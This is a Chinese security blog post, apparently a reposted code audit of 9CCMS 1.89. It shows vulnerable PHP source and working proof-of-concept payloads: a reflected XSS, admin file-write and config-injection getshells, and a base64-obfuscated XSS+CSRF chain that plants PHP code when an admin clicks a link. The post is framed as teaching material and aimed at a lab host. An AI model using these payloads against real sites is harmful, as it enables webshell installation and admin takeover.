搞HS的9CCMS代码审计小结

  • A+
所属分类:代码审计
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

今天在“搞基大队”的群里看到@六八表哥发的这篇9CCMS代码审计笔记,审计的版本为1.89,经六表哥同意转发至该公众号,该文章比较适合新手学习

这套CMS程序主要被用于搭建一些违F的Sex影视站,类似的程序还有辣椒CMS,在以前的案例中也搞过一次《记一次因“打码”不严的渗透测试》。


0x02 漏洞点1:前台反射XSS

文件位于:static/home/videojs/index.php
<script type="text/javascript">
var vPath = '<?php include('../../../Php/Public/Helper.php'); echo safeRequest($_GET['Play']);?>';
var logo = '';var myVideo=initVideo({ id:'myVideo', url:vPath, ad:{ pre:{ url:'', link:'', }, }, logo:{ url:'logo.png', width:'100px' }, });</script>

跟进saferequest只对反斜杠与<>进行了处理,而该xss本身就在script标签中,所以只需要截断标签,即可触发XSS
<?phpfunction safeRequest($data){    $data = stripslashes($data); // 刪除反斜杠    $data = htmlspecialchars($data); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:    return $data;}?>

payload:
http://192.168.18.131/static/home/videojs/index.php?Play=%27;alert(document.cookie);%27
搞HS的9CCMS代码审计小结

0x03 漏洞点2:后台广告添加文件写入

在后台php/admin/home/ad/adjs.php文件中,未对传递进来的数据进行过滤,并且直接写到了AdminAdJs.php文件中,可直接getshell。
<?php
$postAdJs = $_POST['AdJs'];if (isset($_POST['submit']) && isset($postAdJs)) {$file = fopen("../JCSQL/Admin/Ad/AdminAdJs.php","w");fwrite($file,$postAdJs);fclose($file); ?>

搞HS的9CCMS代码审计小结

搞HS的9CCMS代码审计小结

0x04 漏洞点3:密码修改文件写入

除了第5行做了html实体编码,和删除反斜杠以外,未作任何安全处理,直接写入php文件中,这里也可以直接拿shell
<?php
if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password']) && isset($_POST['ippass']) ) {function post_input($data){$data = stripslashes($data);$data = htmlspecialchars($data);return $data;}$username = post_input($_POST["username"]);$password = post_input($_POST["password"]); $ippass = post_input($_POST["ippass"]); $str = ''; $str .= '<?php'; $str .= "n"; $str .= '//后台密码'; $str .= "n"; $str .= 'define('USERNAME', ''.$username.'');'; $str .= "n"; $str .= 'define('PASSWORD', ''.$password.'');'; $str .= "n"; $str .= 'define('IPPASS', ''.$ippass.'');'; $str .= "n"; $str .= '?>'; $ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+'); fwrite($ff,$str);?>

payload:

9ccms');phpinfo();//(

搞HS的9CCMS代码审计小结

搞HS的9CCMS代码审计小结


0x05 后台所有请求都未添加CSRF token

组合拳:前台XSS+CSRF+文件写入
并且由于没有添加csrf token所以可以直接结合XSS进行攻击,payload如下,管理员点击该链接即可写入webshell。

payload:

http://192.168.18.131/static/home/videojs/index.php?Play=';eval(atob('dmFyIGh0dHBSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cmh0dHBSZXF1ZXN0Lm9wZW4oJ1BPU1QnLCAnaHR0cDovLzE5Mi4xNjguMTguMTMxL2FkbWlueC8%2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs%3D'));'


其它:
前台由于基本没啥交互,所以除了XSS没审出什么洞,后台基本上到处是洞,一个很垃圾的CMS



只需关注公众号并回复“9527”即可获取一套HTB靶场学习文档和视频,1120”获取安全参考等安全杂志PDF电子版,1208”获取个人常用高效爆破字典0221”获取2020年酒仙桥文章打包还在等什么?赶紧关注学习吧!

推 荐 阅 读




搞HS的9CCMS代码审计小结
搞HS的9CCMS代码审计小结
搞HS的9CCMS代码审计小结

欢 迎 私 下 骚 扰



搞HS的9CCMS代码审计小结

本文始发于微信公众号(潇湘信安):搞HS的9CCMS代码审计小结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: